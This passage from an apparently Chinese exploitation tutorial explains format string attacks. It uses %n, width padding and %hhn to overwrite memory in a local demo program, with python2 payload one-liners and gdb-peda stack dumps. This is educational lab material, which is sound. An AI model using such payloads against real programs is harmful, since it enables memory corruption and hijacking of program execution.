0x000000c2\ngdb-peda$ x/w 0x804a018\n0x804a018: 0xf7e3a790\ngdb-peda$ c\nContinuing.\n\u2592\ufffd\ufffd\ufffd\ufffd\n
\u867d\u7136\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7 x/w
\u6307\u4ee4\u5f97\u5230 __isoc99_scanf
\u51fd\u6570\u7684\u865a\u62df\u5730\u5740 0xf7e3a790
\u3002\u4f46\u662f\u7531\u4e8e 0x804a018
\u5904\u7684\u5185\u5bb9\u662f\u4ecd\u7136\u4e00\u4e2a\u6307\u9488\uff0c\u4f7f\u7528 %13$s
\u6253\u5370\u5e76\u4e0d\u6210\u529f\u3002\u5728\u4e0b\u9762\u7684\u5185\u5bb9\u4e2d\u5c06\u4f1a\u4ecb\u7ecd\u600e\u6837\u501f\u52a9 pwntools \u7684\u529b\u91cf\uff0c\u6765\u83b7\u5f97\u6b63\u786e\u683c\u5f0f\u7684\u865a\u62df\u5730\u5740\uff0c\u5e76\u80fd\u591f\u5bf9\u5b83\u6709\u8fdb\u4e00\u6b65\u7684\u5229\u7528\u3002
\u5f53\u7136\u5e76\u975e\u603b\u80fd\u901a\u8fc7\u4f7f\u7528 4 \u5b57\u8282\u7684\u8df3\u8f6c\uff08\u5982 AAAA
\uff09\u6765\u6b65\u8fdb\u53c2\u6570\u6307\u9488\u53bb\u5f15\u7528\u683c\u5f0f\u5b57\u7b26\u4e32\u7684\u8d77\u59cb\u90e8\u5206\uff0c\u6709\u65f6\uff0c\u9700\u8981\u5728\u683c\u5f0f\u5b57\u7b26\u4e32\u4e4b\u524d\u52a0\u4e00\u4e2a\u3001\u4e24\u4e2a\u6216\u4e09\u4e2a\u5b57\u7b26\u7684\u524d\u7f00\u6765\u5b9e\u73b0\u4e00\u7cfb\u5217\u7684 \uff14 \u5b57\u8282\u8df3\u8f6c\u3002
\u73b0\u5728\u6211\u4eec\u5df2\u7ecf\u53ef\u4ee5\u8bfb\u53d6\u6808\u4e0a\u548c\u4efb\u610f\u5730\u5740\u7684\u5185\u5b58\u4e86\uff0c\u63a5\u4e0b\u6765\u6211\u4eec\u66f4\u8fdb\u4e00\u6b65\uff0c\u901a\u8fc7\u4fee\u6539\u6808\u548c\u5185\u5b58\u6765\u52ab\u6301\u7a0b\u5e8f\u7684\u6267\u884c\u6d41\u7a0b\u3002%n
\u8f6c\u6362\u6307\u793a\u7b26\u5c06 %n
\u5f53\u524d\u5df2\u7ecf\u6210\u529f\u5199\u5165\u6d41\u6216\u7f13\u51b2\u533a\u4e2d\u7684\u5b57\u7b26\u4e2a\u6570\u5b58\u50a8\u5230\u5730\u5740\u7531\u53c2\u6570\u6307\u5b9a\u7684\u6574\u6570\u4e2d\u3002
#include<stdio.h>\nvoid main() {\n int i;\n char str[] = \"hello\";\n\n printf(\"%s %n\\n\", str, &i);\n printf(\"%d\\n\", i);\n}\n$ ./a.out\nhello\n6\n
i
\u88ab\u8d4b\u503c\u4e3a 6\uff0c\u56e0\u4e3a\u5728\u9047\u5230\u8f6c\u6362\u6307\u793a\u7b26\u4e4b\u524d\u4e00\u5171\u5199\u5165\u4e86 6 \u4e2a\u5b57\u7b26\uff08hello
\u52a0\u4e0a\u4e00\u4e2a\u7a7a\u683c\uff09\u3002\u5728\u6ca1\u6709\u957f\u5ea6\u4fee\u9970\u7b26\u65f6\uff0c\u9ed8\u8ba4\u5199\u5165\u4e00\u4e2a int
\u7c7b\u578b\u7684\u503c\u3002
\u901a\u5e38\u60c5\u51b5\u4e0b\uff0c\u6211\u4eec\u8981\u9700\u8981\u8986\u5199\u7684\u503c\u662f\u4e00\u4e2a shellcode \u7684\u5730\u5740\uff0c\u800c\u8fd9\u4e2a\u5730\u5740\u5f80\u5f80\u662f\u4e00\u4e2a\u5f88\u5927\u7684\u6570\u5b57\u3002\u8fd9\u65f6\u6211\u4eec\u5c31\u9700\u8981\u901a\u8fc7\u4f7f\u7528\u5177\u4f53\u7684\u5bbd\u5ea6\u6216\u7cbe\u5ea6\u7684\u8f6c\u6362\u89c4\u8303\u6765\u63a7\u5236\u5199\u5165\u7684\u5b57\u7b26\u4e2a\u6570\uff0c\u5373\u5728\u683c\u5f0f\u5b57\u7b26\u4e32\u4e2d\u52a0\u4e0a\u4e00\u4e2a\u5341\u8fdb\u5236\u6574\u6570\u6765\u8868\u793a\u8f93\u51fa\u7684\u6700\u5c0f\u4f4d\u6570\uff0c\u5982\u679c\u5b9e\u9645\u4f4d\u6570\u5927\u4e8e\u5b9a\u4e49\u7684\u5bbd\u5ea6\uff0c\u5219\u6309\u5b9e\u9645\u4f4d\u6570\u8f93\u51fa\uff0c\u53cd\u4e4b\u5219\u4ee5\u7a7a\u683c\u6216 0 \u8865\u9f50\uff080
\u8865\u9f50\u65f6\u5728\u5bbd\u5ea6\u524d\u52a0\u70b9.
\u6216 0
\uff09\u3002\u5982\uff1a
#include<stdio.h>\nvoid main() {\n int i;\n\n printf(\"%10u%n\\n\", 1, &i);\n printf(\"%d\\n\", i);\n printf(\"%.50u%n\\n\", 1, &i);\n printf(\"%d\\n\", i);\n printf(\"%0100u%n\\n\", 1, &i);\n printf(\"%d\\n\", i);\n}\n$ ./a.out\n 1\n10\n00000000000000000000000000000000000000000000000001\n50\n0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001\n100\n
\u5c31\u662f\u8fd9\u6837\uff0c\u4e0b\u9762\u6211\u4eec\u628a\u5730\u5740 0x8048000
\u5199\u5165\u5185\u5b58\uff1a
printf(\"%0134512640d%n\\n\", 1, &i);\n$ ./a.out\n...\n0x8048000\n
\u8fd8\u662f\u6211\u4eec\u4e00\u5f00\u59cb\u7684\u7a0b\u5e8f\uff0c\u6211\u4eec\u5c1d\u8bd5\u5c06 arg2
\u7684\u503c\u66f4\u6539\u4e3a\u4efb\u610f\u503c\uff08\u6bd4\u5982 0x00000020
\uff0c\u5341\u8fdb\u5236 32\uff09\uff0c\u5728 gdb \u4e2d\u53ef\u4ee5\u770b\u5230\u5f97\u5230 arg2
\u7684\u5730\u5740 0xffffd538
\uff0c\u90a3\u4e48\u6211\u4eec\u6784\u9020\u683c\u5f0f\u5b57\u7b26\u4e32 \\x38\\xd5\\xff\\xff%08x%08x%012d%13$n
\uff0c\u5176\u4e2d \\x38\\xd5\\xff\\xff
\u8868\u793a arg2
\u7684\u5730\u5740\uff0c\u5360 4 \u5b57\u8282\uff0c%08x%08x
\u8868\u793a\u4e24\u4e2a 8 \u5b57\u7b26\u5bbd\u7684\u5341\u516d\u8fdb\u5236\u6570\uff0c\u5360 16 \u5b57\u8282\uff0c%012d
\u5360 12 \u5b57\u8282\uff0c\u4e09\u4e2a\u90e8\u5206\u52a0\u8d77\u6765\u5c31\u5360\u4e86 4+16+12=32 \u5b57\u8282\uff0c\u5373\u628a arg2
\u8d4b\u503c\u4e3a 0x00000020
\u3002\u683c\u5f0f\u5b57\u7b26\u4e32\u6700\u540e\u4e00\u90e8\u5206 %13$n
\u4e5f\u662f\u6700\u91cd\u8981\u7684\u4e00\u90e8\u5206\uff0c\u548c\u4e0a\u9762\u7684\u5185\u5bb9\u4e00\u6837\uff0c\u8868\u793a\u683c\u5f0f\u5b57\u7b26\u4e32\u7684\u7b2c 13 \u4e2a\u53c2\u6570\uff0c\u5373\u5199\u5165 0xffffd538
\u7684\u5730\u65b9\uff080xffffd564
\uff09\uff0cprintf()
\u5c31\u662f\u901a\u8fc7\u8fd9\u4e2a\u5730\u5740\u627e\u5230\u88ab\u8986\u76d6\u7684\u5185\u5bb9\u7684\uff1a
$ python2 -c 'print(\"\\x38\\xd5\\xff\\xff%08x%08x%012d%13$n\")' > text\n$ gdb -q a.out\nReading symbols from a.out...(no debugging symbols found)...done.\ngdb-peda$ b printf \nBreakpoint 1 at 0x8048350\ngdb-peda$ r < text \n[----------------------------------registers-----------------------------------]\nEAX: 0xffffd564 --> 0xffffd538 --> 0x88888888\nEBX: 0x804a000 --> 0x8049f14 --> 0x1\nECX: 0x1\nEDX: 0xf7f9883c --> 0x0\nESI: 0xf7f96e68 --> 0x1bad90\nEDI: 0x0\nEBP: 0xffffd5f8 --> 0x0\nESP: 0xffffd52c --> 0x8048520 (<main+138>: add esp,0x20)\nEIP: 0xf7e27c20 (<printf>: call 0xf7f06d17 <__x86.get_pc_thunk.ax>)\nEFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)\n[-------------------------------------code-------------------------------------]\n 0xf7e27c1b <fprintf+27>: ret\n 0xf7e27c1c: xchg ax,ax\n 0xf7e27c1e: xchg ax,ax\n=> 0xf7e27c20 <printf>: call 0xf7f06d17 <__x86.get_pc_thunk.ax>\n 0xf7e27c25 <printf+5>: add eax,0x16f243\n 0xf7e27c2a <printf+10>: sub esp,0xc\n 0xf7e27c2d <printf+13>: mov eax,DWORD PTR [eax+0x124]\n 0xf7e27c33 <printf+19>: lea edx,[esp+0x14]\nNo argument\n[------------------------------------stack-------------------------------------]\n0000| 0xffffd52c --> 0x8048520 (<main+138>: add esp,0x20)\n0004| 0xffffd530 --> 0xffffd564 --> 0xffffd538 --> 0x88888888\n0008| 0xffffd534 --> 0x1\n0012| 0xffffd538 --> 0x88888888\n0016| 0xffffd53c --> 0xffffffff\n0020| 0xffffd540 --> 0xffffd55a (\"ABCD\")\n0024| 0xffffd544 --> 0xffffd564 --> 0xffffd538 --> 0x88888888\n0028| 0xffffd548 --> 0x80481fc --> 0x38 ('8')\n[------------------------------------------------------------------------------]\nLegend: code, data, rodata, value\n\nBreakpoint 1, 0xf7e27c20 in printf () from /usr/lib32/libc.so.6\ngdb-peda$ x/20x $esp\n0xffffd52c: 0x08048520 0xffffd564 0x00000001 0x88888888\n0xffffd53c: 0xffffffff 0xffffd55a 0xffffd564 0x080481fc\n0xffffd54c: 0x080484b0 0xf7ffda54 0x00000001 0x424135d0\n0xffffd55c: 0x00004443 0x00000000 0xffffd538 0x78383025\n0xffffd56c: 0x78383025 0x32313025 0x33312564 0x00006e24\ngdb-peda$ finish\nRun till exit from #0 0xf7e27c20 in printf () from /usr/lib32/libc.so.6\n[----------------------------------registers-----------------------------------]\nEAX: 0x20 (' ')\nEBX: 0x804a000 --> 0x8049f14 --> 0x1\nECX: 0x0\nEDX: 0xf7f98830 --> 0x0\nESI: 0xf7f96e68 --> 0x1bad90\nEDI: 0x0\nEBP: 0xffffd5f8 --> 0x0\nESP: 0xffffd530 --> 0xffffd564 --> 0xffffd538 --> 0x20 (' ')\nEIP: 0x8048520 (<main+138>: add esp,0x20)\nEFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)\n[-------------------------------------code-------------------------------------]\n 0x8048514 <main+126>: lea eax,[ebp-0x94]\n 0x804851a <main+132>: push eax\n 0x804851b <main+133>: call 0x8048350 <printf@plt>\n=> 0x8048520 <main+138>: add esp,0x20\n 0x8048523 <main+141>: sub esp,0xc\n 0x8048526 <main+144>: push 0xa\n 0x8048528 <main+146>: call 0x8048370 <putchar@plt>\n 0x804852d <main+151>: add esp,0x10\n[------------------------------------stack-------------------------------------]\n0000| 0xffffd530 --> 0xffffd564 --> 0xffffd538 --> 0x20 (' ')\n0004| 0xffffd534 --> 0x1\n0008| 0xffffd538 --> 0x20 (' ')\n0012| 0xffffd53c --> 0xffffffff\n0016| 0xffffd540 --> 0xffffd55a (\"ABCD\")\n0020| 0xffffd544 --> 0xffffd564 --> 0xffffd538 --> 0x20 (' ')\n0024| 0xffffd548 --> 0x80481fc --> 0x38 ('8')\n0028| 0xffffd54c --> 0x80484b0 (<main+26>: add ebx,0x1b50)\n[------------------------------------------------------------------------------]\nLegend: code, data, rodata, value\n0x08048520 in main ()\ngdb-peda$ x/20x $esp\n0xffffd530: 0xffffd564 0x00000001 0x00000020 0xffffffff\n0xffffd540: 0xffffd55a 0xffffd564 0x080481fc 0x080484b0\n0xffffd550: 0xf7ffda54 0x00000001 0x424135d0 0x00004443\n0xffffd560: 0x00000000 0xffffd538 0x78383025 0x78383025\n0xffffd570: 0x32313025 0x33312564 0x00006e24 0xf7e70240\n
\u5bf9\u6bd4 printf()
\u51fd\u6570\u6267\u884c\u524d\u540e\u7684\u8f93\u51fa\uff0cprintf
\u9996\u5148\u89e3\u6790 %13$n
\u627e\u5230\u83b7\u5f97\u5730\u5740 0xffffd564
\u7684\u503c 0xffffd538
\uff0c\u7136\u540e\u8df3\u8f6c\u5230\u5730\u5740 0xffffd538
\uff0c\u5c06\u5b83\u7684\u503c 0x88888888
\u8986\u76d6\u4e3a 0x00000020
\uff0c\u5c31\u5f97\u5230 arg2=0x00000020
\u3002
\u4e5f\u8bb8\u5df2\u7ecf\u6709\u4eba\u53d1\u73b0\u4e86\u4e00\u4e2a\u95ee\u9898\uff0c\u4f7f\u7528\u4e0a\u9762\u8986\u76d6\u5185\u5b58\u7684\u65b9\u6cd5\uff0c\u503c\u6700\u5c0f\u53ea\u80fd\u662f 4\uff0c\u56e0\u4e3a\u5355\u5355\u5730\u5740\u5c31\u5360\u53bb\u4e86 4 \u4e2a\u5b57\u8282\u3002\u90a3\u4e48\u6211\u4eec\u600e\u6837\u8986\u76d6\u6bd4 4 \u5c0f\u7684\u503c\u5462\u3002\u5229\u7528\u6574\u6570\u6ea2\u51fa\u662f\u4e00\u4e2a\u65b9\u6cd5\uff0c\u4f46\u662f\u5728\u5b9e\u8df5\u4e2d\u8fd9\u6837\u505a\u57fa\u672c\u90fd\u4e0d\u4f1a\u6210\u529f\u3002\u518d\u60f3\u4e00\u4e0b\uff0c\u524d\u9762\u7684\u8f93\u5165\u4e2d\uff0c\u5730\u5740\u90fd\u4f4d\u4e8e\u683c\u5f0f\u5b57\u7b26\u4e32\u4e4b\u524d\uff0c\u8fd9\u6837\u505a\u771f\u7684\u6709\u5fc5\u8981\u5417\uff0c\u80fd\u5426\u5c06\u5730\u5740\u653e\u5728\u4e2d\u95f4\u3002\u6211\u4eec\u6765\u8bd5\u4e00\u4e0b\uff0c\u4f7f\u7528\u683c\u5f0f\u5b57\u7b26\u4e32 \"AA%15$nA\"+\"\\x38\\xd5\\xff\\xff\"
\uff0c\u5f00\u5934\u7684 AA
\u5360\u4e24\u4e2a\u5b57\u8282\uff0c\u5373\u5c06\u5730\u5740\u8d4b\u503c\u4e3a 2
\uff0c\u4e2d\u95f4\u662f %15$n
\u5360 5 \u4e2a\u5b57\u8282\uff0c\u8fd9\u91cc\u4e0d\u662f %13$n
\uff0c\u56e0\u4e3a\u5730\u5740\u88ab\u6211\u4eec\u653e\u5728\u4e86\u540e\u9762\uff0c\u5728\u683c\u5f0f\u5b57\u7b26\u4e32\u7684\u7b2c 15 \u4e2a\u53c2\u6570\uff0c\u540e\u9762\u8ddf\u4e0a\u4e00\u4e2a A
\u5360\u7528\u4e00\u4e2a\u5b57\u8282\u3002\u4e8e\u662f\u524d\u534a\u90e8\u5206\u603b\u5171\u5360\u7528\u4e86 2+5+1=8 \u4e2a\u5b57\u8282\uff0c\u521a\u597d\u662f\u4e24\u4e2a\u53c2\u6570\u7684\u5bbd\u5ea6\uff0c\u8fd9\u91cc\u7684 8 \u5b57\u8282\u5bf9\u9f50\u5341\u5206\u91cd\u8981\u3002\u6700\u540e\u518d\u8f93\u5165\u6211\u4eec\u8981\u8986\u76d6\u7684\u5730\u5740 \\x38\\xd5\\xff\\xff
\uff0c\u8be6\u7ec6\u8f93\u51fa\u5982\u4e0b\uff1a
$ python2 -c 'print(\"AA%15$nA\"+\"\\x38\\xd5\\xff\\xff\")' > text\n$ gdb -q a.out\nReading symbols from a.out...(no debugging symbols found)...done.\ngdb-peda$ b printf \nBreakpoint 1 at 0x8048350\ngdb-peda$ r < text \n[----------------------------------registers-----------------------------------]\nEAX: 0xffffd564 (\"AA%15$nA8\\325\\377\\377\")\nEBX: 0x804a000 --> 0x8049f14 --> 0x1\nECX: 0x1\nEDX: 0xf7f9883c --> 0x0\nESI: 0xf7f96e68 --> 0x1bad90\nEDI: 0x0\nEBP: 0xffffd5f8 --> 0x0\nESP: 0xffffd52c --> 0x8048520 (<main+138>: add esp,0x20)\nEIP: 0xf7e27c20 (<printf>: call 0xf7f06d17 <__x86.get_pc_thunk.ax>)\nEFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)\n[-------------------------------------code-------------------------------------]\n 0xf7e27c1b <fprintf+27>: ret\n 0xf7e27c1c: xchg ax,ax\n 0xf7e27c1e: xchg ax,ax\n=> 0xf7e27c20 <printf>: call 0xf7f06d17 <__x86.get_pc_thunk.ax>\n 0xf7e27c25 <printf+5>: add eax,0x16f243\n 0xf7e27c2a <printf+10>: sub esp,0xc\n 0xf7e27c2d <printf+13>: mov eax,DWORD PTR [eax+0x124]\n 0xf7e27c33 <printf+19>: lea edx,[esp+0x14]\nNo argument\n[------------------------------------stack-------------------------------------]\n0000| 0xffffd52c --> 0x8048520 (<main+138>: add esp,0x20)\n0004| 0xffffd530 --> 0xffffd564 (\"AA%15$nA8\\325\\377\\377\")\n0008| 0xffffd534 --> 0x1\n0012| 0xffffd538 --> 0x88888888\n0016| 0xffffd53c --> 0xffffffff\n0020| 0xffffd540 --> 0xffffd55a (\"ABCD\")\n0024| 0xffffd544 --> 0xffffd564 (\"AA%15$nA8\\325\\377\\377\")\n0028| 0xffffd548 --> 0x80481fc --> 0x38 ('8')\n[------------------------------------------------------------------------------]\nLegend: code, data, rodata, value\n\nBreakpoint 1, 0xf7e27c20 in printf () from /usr/lib32/libc.so.6\ngdb-peda$ x/20x $esp\n0xffffd52c: 0x08048520 0xffffd564 0x00000001 0x88888888\n0xffffd53c: 0xffffffff 0xffffd55a 0xffffd564 0x080481fc\n0xffffd54c: 0x080484b0 0xf7ffda54 0x00000001 0x424135d0\n0xffffd55c: 0x00004443 0x00000000 0x31254141 0x416e2435\n0xffffd56c: 0xffffd538 0xffffd500 0x00000001 0x000000c2\ngdb-peda$ finish\nRun till exit from #0 0xf7e27c20 in printf () from /usr/lib32/libc.so.6\n[----------------------------------registers-----------------------------------]\nEAX: 0x7\nEBX: 0x804a000 --> 0x8049f14 --> 0x1\nECX: 0x0\nEDX: 0xf7f98830 --> 0x0\nESI: 0xf7f96e68 --> 0x1bad90\nEDI: 0x0\nEBP: 0xffffd5f8 --> 0x0\nESP: 0xffffd530 --> 0xffffd564 (\"AA%15$nA8\\325\\377\\377\")\nEIP: 0x8048520 (<main+138>: add esp,0x20)\nEFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)\n[-------------------------------------code-------------------------------------]\n 0x8048514 <main+126>: lea eax,[ebp-0x94]\n 0x804851a <main+132>: push eax\n 0x804851b <main+133>: call 0x8048350 <printf@plt>\n=> 0x8048520 <main+138>: add esp,0x20\n 0x8048523 <main+141>: sub esp,0xc\n 0x8048526 <main+144>: push 0xa\n 0x8048528 <main+146>: call 0x8048370 <putchar@plt>\n 0x804852d <main+151>: add esp,0x10\n[------------------------------------stack-------------------------------------]\n0000| 0xffffd530 --> 0xffffd564 (\"AA%15$nA8\\325\\377\\377\")\n0004| 0xffffd534 --> 0x1\n0008| 0xffffd538 --> 0x2\n0012| 0xffffd53c --> 0xffffffff\n0016| 0xffffd540 --> 0xffffd55a (\"ABCD\")\n0020| 0xffffd544 --> 0xffffd564 (\"AA%15$nA8\\325\\377\\377\")\n0024| 0xffffd548 --> 0x80481fc --> 0x38 ('8')\n0028| 0xffffd54c --> 0x80484b0 (<main+26>: add ebx,0x1b50)\n[------------------------------------------------------------------------------]\nLegend: code, data, rodata, value\n0x08048520 in main ()\ngdb-peda$ x/20x $esp\n0xffffd530: 0xffffd564 0x00000001 0x00000002 0xffffffff\n0xffffd540: 0xffffd55a 0xffffd564 0x080481fc 0x080484b0\n0xffffd550: 0xf7ffda54 0x00000001 0x424135d0 0x00004443\n0xffffd560: 0x00000000 0x31254141 0x416e2435 0xffffd538\n0xffffd570: 0xffffd500 0x00000001 0x000000c2 0xf7e70240\n
\u5bf9\u6bd4 printf()
\u51fd\u6570\u6267\u884c\u524d\u540e\u7684\u8f93\u51fa\uff0c\u53ef\u4ee5\u770b\u5230\u6211\u4eec\u6210\u529f\u5730\u7ed9 arg2
\u8d4b\u503c\u4e86 0x00000002
\u3002
\u8bf4\u5b8c\u4e86\u6570\u5b57\u5c0f\u4e8e 4 \u65f6\u7684\u8986\u76d6\uff0c\u63a5\u4e0b\u6765\u8bf4\u8bf4\u5927\u6570\u5b57\u7684\u8986\u76d6\u3002\u524d\u9762\u7684\u65b9\u6cd5\u6559\u6211\u4eec\u76f4\u63a5\u8f93\u5165\u4e00\u4e2a\u5730\u5740\u7684\u5341\u8fdb\u5236\u5c31\u53ef\u4ee5\u8fdb\u884c\u8d4b\u503c\uff0c\u53ef\u662f\uff0c\u8fd9\u6837\u5360\u7528\u7684\u5185\u5b58\u7a7a\u95f4\u592a\u5927\uff0c\u5f80\u5f80\u4f1a\u8986\u76d6\u6389\u5176\u4ed6\u91cd\u8981\u7684\u5730\u5740\u800c\u4ea7\u751f\u9519\u8bef\u3002\u5176\u5b9e\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u957f\u5ea6\u4fee\u9970\u7b26\u6765\u66f4\u6539\u5199\u5165\u7684\u503c\u7684\u5927\u5c0f\uff1a
char c;\nshort s;\nint i;\nlong l;\nlong long ll;\n\nprintf(\"%s %hhn\\n\", str, &c); // \u5199\u5165\u5355\u5b57\u8282\nprintf(\"%s %hn\\n\", str, &s); // \u5199\u5165\u53cc\u5b57\u8282\nprintf(\"%s %n\\n\", str, &i); // \u5199\u51654\u5b57\u8282\nprintf(\"%s %ln\\n\", str, &l); // \u5199\u51658\u5b57\u8282\nprintf(\"%s %lln\\n\", str, &ll); // \u5199\u516516\u5b57\u8282\n
\u8bd5\u4e00\u4e0b\uff1a
$ python2 -c 'print(\"A%15$hhn\"+\"\\x38\\xd5\\xff\\xff\")' > text\n0xffffd530: 0xffffd564 0x00000001 0x88888801 0xffffffff\n\n$ python2 -c 'print(\"A%15$hnA\"+\"\\x38\\xd5\\xff\\xff\")' > text\n0xffffd530: 0xffffd564 0x00000001 0x88880001 0xffffffff\n\n$ python2 -c 'print(\"A%15$nAA\"+\"\\x38\\xd5\\xff\\xff\")' > text\n0xffffd530: 0xffffd564 0x00000001 0x00000001 0xffffffff\n
\u4e8e\u662f\uff0c\u6211\u4eec\u5c31\u53ef\u4ee5\u9010\u5b57\u8282\u5730\u8986\u76d6\uff0c\u4ece\u800c\u5927\u5927\u8282\u7701\u4e86\u5185\u5b58\u7a7a\u95f4\u3002\u8fd9\u91cc\u6211\u4eec\u5c1d\u8bd5\u5199\u5165 0x12345678
\u5230\u5730\u5740 0xffffd538
\uff0c\u9996\u5148\u4f7f\u7528 AAAABBBBCCCCDDDD
\u4f5c\u4e3a\u8f93\u5165\uff1a
gdb-peda$ r\nAAAABBBBCCCCDDDD\n[----------------------------------registers-----------------------------------]\nEAX: 0xffffd564 (\"AAAABBBBCCCCDDDD\")\nEBX: 0x804a000 --> 0x8049f14 --> 0x1\nECX: 0x1\nEDX: 0xf7f9883c --> 0x0\nESI: 0xf7f96e68 --> 0x1bad90\nEDI: 0x0\nEBP: 0xffffd5f8 --> 0x0\nESP: 0xffffd52c --> 0x8048520 (<main+138>: add esp,0x20)\nEIP: 0xf7e27c20 (<printf>: call 0xf7f06d17 <__x86.get_pc_thunk.ax>)\nEFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)\n[-------------------------------------code-------------------------------------]\n 0xf7e27c1b <fprintf+27>: ret\n 0xf7e27c1c: xchg ax,ax\n 0xf7e27c1e: xchg ax,ax\n=> 0xf7e27c20 <printf>: call 0xf7f06d17 <__x86.get_pc_thunk.ax>\n 0xf7e27c25 <printf+5>: add eax,0x16f243\n 0xf7e27c2a <printf+10>: sub esp,0xc\n 0xf7e27c2d <printf+13>: mov eax,DWORD PTR [eax+0x124]\n 0xf7e27c33 <printf+19>: lea edx,[esp+0x14]\nNo argument\n[------------------------------------stack-------------------------------------]\n0000| 0xffffd52c --> 0x8048520 (<main+138>: add esp,0x20)\n0004| 0xffffd530 --> 0xffffd564 (\"AAAABBBBCCCCDDDD\")\n0008| 0xffffd534 --> 0x1\n0012| 0xffffd538 --> 0x88888888\n0016| 0xffffd53c --> 0xffffffff\n0020| 0xffffd540 --> 0xffffd55a (\"ABCD\")\n0024| 0xffffd544 --> 0xffffd564 (\"AAAABBBBCCCCDDDD\")\n0028| 0xffffd548 --> 0x80481fc --> 0x38 ('8')\n[------------------------------------------------------------------------------]\nLegend: code, data, rodata, value\n\nBreakpoint 1, 0xf7e27c20 in printf () from /usr/lib32/libc.so.6\ngdb-peda$ x/20x $esp\n0xffffd52c: 0x08048520 0xffffd564 0x00000001 0x88888888\n0xffffd53c: 0xffffffff 0xffffd55a 0xffffd564 0x080481fc\n0xffffd54c: 0x080484b0 0xf7ffda54 0x00000001 0x424135d0\n0xffffd55c: 0x00004443 0x00000000 0x41414141 0x42424242\n0xffffd56c: 0x43434343 0x44444444 0x00000000 0x000000c2\ngdb-peda$ x/4wb 0xffffd538\n0xffffd538: 0x88 0x88 0x88 0x88\n
\u7531\u4e8e\u6211\u4eec\u60f3\u8981\u9010\u5b57\u8282\u8986\u76d6\uff0c\u5c31\u9700\u8981 4 \u4e2a\u7528\u4e8e\u8df3\u8f6c\u7684\u5730\u5740\uff0c4 \u4e2a\u5199\u5165\u5730\u5740\u548c 4 \u4e2a\u503c\uff0c\u5bf9\u5e94\u5173\u7cfb\u5982\u4e0b\uff08\u5c0f\u7aef\u5e8f\uff09\uff1a
0xffffd564 -> 0x41414141 (0xffffd538) -> \\x78\n0xffffd568 -> 0x42424242 (0xffffd539) -> \\x56\n0xffffd56c -> 0x43434343 (0xffffd53a) -> \\x34\n0xffffd570 -> 0x44444444 (0xffffd53b) -> \\x12\n
\u628a AAAA
\u3001BBBB
\u3001CCCC
\u3001DDDD
\u5360\u636e\u7684\u5730\u5740\u5206\u522b\u66ff\u6362\u6210\u62ec\u53f7\u4e2d\u7684\u503c\uff0c\u518d\u9002\u5f53\u4f7f\u7528\u586b\u5145\u5b57\u8282\u4f7f 8 \u5b57\u8282\u5bf9\u9f50\u5c31\u53ef\u4ee5\u4e86\u3002\u6784\u9020\u8f93\u5165\u5982\u4e0b\uff1a
$ python2 -c 'print(\"\\x38\\xd5\\xff\\xff\"+\"\\x39\\xd5\\xff\\xff\"+\"\\x3a\\xd5\\xff\\xff\"+\"\\x3b\\xd5\\xff\\xff\"+\"%104c%13$hhn\"+\"%222c%14$hhn\"+\"%222c%15$hhn\"+\"%222c%16$hhn\")' > text\n
\u5176\u4e2d\u524d\u56db\u4e2a\u90e8\u5206\u662f 4 \u4e2a\u5199\u5165\u5730\u5740\uff0c\u5360 4*4=16 \u5b57\u8282\uff0c\u540e\u9762\u56db\u4e2a\u90e8\u5206\u5206\u522b\u7528\u4e8e\u5199\u5165\u5341\u516d\u8fdb\u5236\u6570\uff0c\u7531\u4e8e\u4f7f\u7528\u4e86 hh
\uff0c\u6240\u4ee5\u53ea\u4f1a\u4fdd\u7559\u4e00\u4e2a\u5b57\u8282 0x78
\uff0816+104=120 -> 0x78\uff09\u30010x56
\uff08120+222=342 -> 0x0156 -> 0x56\uff09\u30010x34
\uff08342+222=564 -> 0x0234 -> 0x34\uff09\u30010x12
\uff08564+222=786 -> 0x312 -> 0x12\uff09\u3002\u6267\u884c\u7ed3\u679c\u5982\u4e0b\uff1a
$ gdb -q a.out\nReading symbols from a.out...(no debugging symbols found)...done.\ngdb-peda$ b printf \nBreakpoint 1 at 0x8048350\ngdb-peda$ r < text \nStarting program: /home/firmy/Desktop/RE4B/a.out < text\n[----------------------------------registers-----------------------------------]\nEAX: 0xffffd564 --> 0xffffd538 --> 0x88888888\nEBX: 0x804a000 --> 0x8049f14 --> 0x1\nECX: 0x1\nEDX: 0xf7f9883c --> 0x0\nESI: 0xf7f96e68 --> 0x1bad90\nEDI: 0x0\nEBP: 0xffffd5f8 --> 0x0\nESP: 0xffffd52c --> 0x8048520 (<main+138>: add esp,0x20)\nEIP: 0xf7e27c20 (<printf>: call 0xf7f06d17 <__x86.get_pc_thunk.ax>)\nEFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)\n[-------------------------------------code-------------------------------------]\n 0xf7e27c1b <fprintf+27>: ret\n 0xf7e27c1c: xchg ax,ax\n 0xf7e27c1e: xchg ax,ax\n=> 0xf7e27c20 <printf>: call 0xf7f06d17 <__x86.get_pc_thunk.ax>\n 0xf7e27c25 <printf+5>: add eax,0x16f243\n 0xf7e27c2a <printf+10>: sub esp,0xc\n 0xf7e27c2d <printf+13>: mov eax,DWORD PTR [eax+0x124]\n 0xf7e27c33 <printf+19>: lea edx,[esp+0x14]\nNo argument\n[------------------------------------stack-------------------------------------]\n0000| 0xffffd52c --> 0x8048520 (<main+138>: add esp,0x20)\n0004| 0xffffd530 --> 0xffffd564 --> 0xffffd538 --> 0x88888888\n0008| 0xffffd534 --> 0x1\n0012| 0xffffd538 --> 0x88888888\n0016| 0xffffd53c --> 0xffffffff\n0020| 0xffffd540 --> 0xffffd55a (\"ABCD\")\n0024| 0xffffd544 --> 0xffffd564 --> 0xffffd538 --> 0x88888888\n0028| 0xffffd548 --> 0x80481fc --> 0x38 ('8')\n[------------------------------------------------------------------------------]\nLegend: code, data, rodata, value\n\nBreakpoint 1, 0xf7e27c20 in printf () from /usr/lib32/libc.so.6\ngdb-peda$ x/20x $esp \n0xffffd52c: 0x08048520 0xffffd564 0x00000001 0x88888888\n0xffffd53c: 0xffffffff 0xffffd55a 0xffffd564 0x080481fc\n0xffffd54c: 0x080484b0 0xf7ffda54 